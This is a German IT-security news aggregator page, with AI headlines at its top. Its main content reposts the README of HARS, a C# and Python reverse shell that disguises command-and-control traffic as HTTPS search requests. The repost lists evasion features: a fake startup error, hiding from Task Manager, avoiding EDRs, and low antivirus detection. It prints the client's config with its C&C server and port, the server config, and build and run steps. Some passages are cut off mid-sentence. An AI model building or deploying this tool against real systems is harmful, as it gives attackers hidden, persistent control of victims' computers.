🔧 AI Nachrichten Major AI platforms go down in unprecedented simultaneous outage(03.09.2026 um 17:34 Uhr)
🔧 AI Nachrichten ChatGPT, Claude, and Grok Down? Users Report Widespread Outages(03.09.2026 um 19:14 Uhr)
🔧 AI Nachrichten OpenAI Launches GPT-6 Astra, Says We May Have Entered the AGI Era(03.09.2026 um 22:08 Uhr)
🔧 AI Nachrichten Claude Comes to CarPlay as Fifth Major AI Chatbot App(05.09.2026 um 05:31 Uhr)
🔧 AI Nachrichten OpenAI’s GPT-6 Astra Is AGI, Says NVIDIA CEO Jensen Huang(07.09.2026 um 06:31 Uhr)
🔧 AI Nachrichten Blame AI companies for Mac mini and Mac Studio shortage(31.08.2026 um 10:32 Uhr)
🔧 AI Nachrichten Major AI platforms go down in unprecedented simultaneous outage(03.09.2026 um 17:34 Uhr)
🔧 AI Nachrichten ChatGPT, Claude, and Grok Down? Users Report Widespread Outages(03.09.2026 um 19:14 Uhr)
🔧 AI Nachrichten OpenAI Launches GPT-6 Astra, Says We May Have Entered the AGI Era(03.09.2026 um 22:08 Uhr)
🔧 AI Nachrichten Claude Comes to CarPlay as Fifth Major AI Chatbot App(05.09.2026 um 05:31 Uhr)
🔧 AI Nachrichten OpenAI’s GPT-6 Astra Is AGI, Says NVIDIA CEO Jensen Huang(07.09.2026 um 06:31 Uhr)
🔧 AI Nachrichten Blame AI companies for Mac mini and Mac Studio shortage(31.08.2026 um 10:32 Uhr)
1 Tag Serie
📰 IT Security Nachrichten 🕛 kürzlich 4 Min Lesezeit SECURITY-FEED
0

HTTP Asynchronous Reverse Shell - Asynchronous Reverse Shell Using The HTTP Protocol

↗ Quelle (feedproxy.google.com)
🔬 IoC Intelligence (1 Indikatoren erkannt)
7[.]0[.]0[.]1
🗣️ Stimme:
(IPS, IDS, Proxy, AV, EDR...) are more and more powerful and can detect these attacks. Most of the time the connection to a reverse shell is established through a TCP or UDP tunnel.
I figured that the best way to stay undetected would be to make it look like legitimate traffic. The HTTP protocol is the most used by a standard user. Moreover it is almost never filtered so as not to block access to websites.


demonstration tool for authorized security testing. Make sure you check with your local laws before running this tool.

Features
process to avoid triggering EDRs.
  • Support for all Cmd and Powershell commands.
  • [Optional] The client can display a fake error message at startup.
  • The client is hidden from tasks manager.
  • [Optional] The client can be run as an administrator.

  • AV Detection
    Only 3 out of 69 products were able to detect the client as malicious, without applying any evasive or

    Demonstration





    Client : C Sharp
    1. Open HARS.sln in Visual Studio
    Config.cs
    This file contains parameters ; Assign the values you want :
    CODE
    class Config
    {
    /* Behavior */
    // Display a fake error msg at startup
    public static bool DisplayErrorMsg = true;
    // Title of fake error msg
    public static string ErrorMsgTitle = "This application could not be started.";
    // Description of fake error msg
    public static string ErrorMsgDesc = "Unhandled exception has occured in your application. \r\r Object {0} is not valid.";
    // Min delay between the client calls
    public static int MinDelay = 2;
    // Max delay between the client calls
    public static int MaxDelay = 5;
    // Fake uri requested - Warning : it must begin with "search" (or need a change on server side)
    public static string Url = "search?q=search+something&qs=n&form=QBRE&cvid=";
    /* Listener */
    // Hostname/IP of C&C server
    public static string Server = "https://12 7.0.0.1";
    // Listening port of C&C server
    public static string Port = "443";
    // Allow self-signed or "unsecure"

    Note : Target .NET framework version is set to 4.6 which is available by default in Windows 10.
    For Windows 7, choose .NET 3.5 if you don't want to have to install missing features.

    Build
    Build the project from Visual Studio. The client should be generated in Http Asynchronous Reverse Shell\HARS_Client\HARS\bin\Release folder.
    Done!

    Server : Python
    HARS_Server.py Location : Http Asynchronous Reverse Shell\HARS_Server\www
    Simply change the port or location on the certificate if needed in the config section.
    CODE
    # Config
    PORT = 443
    CERT_FILE = '../server.pem'

    Run
    python HARS_Server.py

    Notes
    -HTTP Logs are located in Http Asynchronous Reverse Shell\HARS_Server\logs\
    -You can add your own templates (any html page) in Http Asynchronous Reverse Shell\HARS_Server\templates


    Vollständiger Original-Bericht
    Ausführliche Details, Code-Beispiele & Hersteller-Stellungnahme auf feedproxy.google.com.
    ↗ Original-Artikel auf feedproxy.google.com lesen
    Wie bewertest du diesen Beitrag?
    1 Klick Feedback
    Teilen mit Netzwerk & Team:
    Community Threat-Level Barometer
    Live Votum

    Wie stufst du das Risiko dieser Schwachstelle / Bedrohung für dein Unternehmen ein?

    Noch keine Stimmen — schätze das Risiko als Erster ein.

    Community-Analysen & Experten-Meinungen 0

    Verfasse deine eigene Analyse, teile Workarounds oder diskutiere diesen Vorfall im Blog.
    Noch keine Community-Analyse verfasst. Markiere einen Textabschnitt oder klicke oben auf Eigene Analyse verfassen“!
    Community Pulse: Relevanz-Einschätzung
    1 Klick Experten-Votum
    🔴 Akute Relevanz 0%
    🟡 In Evaluierung 0%
    🟢 Keine Auswirkung 0%
    Spannende Innovation 0%
    Verwandte Story-Cluster & Quellen (Vektor-KI)
    Port 8095 Engine
    3 Quellen
    GPT-6 Astra Release Today? OpenAI’s Next Major AI Model Is Almost Here
    1 Quelle
    Apple accuses OpenAI of destroying evidence as trade-secrets fight intensifies
    1 Quelle
    Major AI platforms go down in unprecedented simultaneous outage
    Ähnliche Beiträge
    🔍 Verwandte News

    Auch interessante Nachrichten HTTP Asynchronous Reverse Shell - Asynchronous Reverse Shell Using The HTTP Protocol

    Thematisch verwandte Begriffe: HTTP, Asynchronous, Reverse, Shell · 6 Treffer

    Laden...

    Videos werden geladen ...

    Laden...

    Beiträge werden geladen ...

    Laden...

    Videos werden geladen ...

    Laden...

    Beiträge werden geladen ...

    Laden...

    Videos werden geladen ...

    Laden...

    Beiträge werden geladen ...

    Laden...

    Videos werden geladen ...

    Laden...

    Beiträge werden geladen ...

    Laden...

    Videos werden geladen ...